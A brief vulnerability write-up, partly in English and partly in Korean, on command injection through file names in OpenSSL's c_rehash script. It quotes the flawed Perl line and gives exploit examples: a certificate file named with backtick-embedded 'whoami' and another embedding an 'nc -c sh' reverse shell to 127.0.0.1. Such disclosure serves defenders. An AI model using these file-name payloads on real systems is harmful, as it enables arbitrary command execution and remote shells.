
OpenSSL

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
파일 이름이 제대로 이스케이프되지 않아 명령어 삽입이 발생합니다:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;이 스크립트의 이 부분은 취약합니다. 백틱을 닫으면 명령어 실행이 가능하기 때문입니다. 예를 들어 MyCert.crt`whoami` 라는 이름의 파일은 'whoami'를 실행합니다.
/etc/ssl/certs/ (기본값) 또는 update-ca-certificates에 구성된 다른 경로로 이동합니다.echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc를 페이로드 예시로 사용)c_rehash .으로 수동으로 실행할 수도 있습니다.